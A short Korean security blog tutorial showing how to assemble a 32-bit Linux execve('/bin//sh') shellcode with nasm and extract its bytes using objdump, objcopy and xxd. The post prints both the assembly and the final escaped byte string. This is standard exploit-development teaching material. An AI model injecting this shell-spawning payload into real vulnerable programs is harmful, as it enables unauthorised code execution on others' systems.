IT/시스템 보안

[Shellcode] objdump을 이용한 byte code 추출

kykyky 2024. 2. 28. 20:27

예시 어셈블리 코드 (shellcode.asm)의 byte code를 추출해보겠습니다.

 

 

 

shellcode.asm

section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

 

 

1. nasm 설치

sudo apt-get install nasm

 

 

 

2. shellcode.o 생성

nasm -f elf shellcode.asm

 

 

 

3. shellcode.o 파일을 어셈블리 언어로 변환하여 출력

objdump -d shellcode.o

 

 

 

4. shellcode.bin 생성

objcopy --dump-section .text=shellcode.bin shellcode.o

 

 

 

5. shellcode.bin 파일의 내용을 16진수 형태로 출력

xxd shellcode.bin

 

 

 

6. 최종 byte code 만들기

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"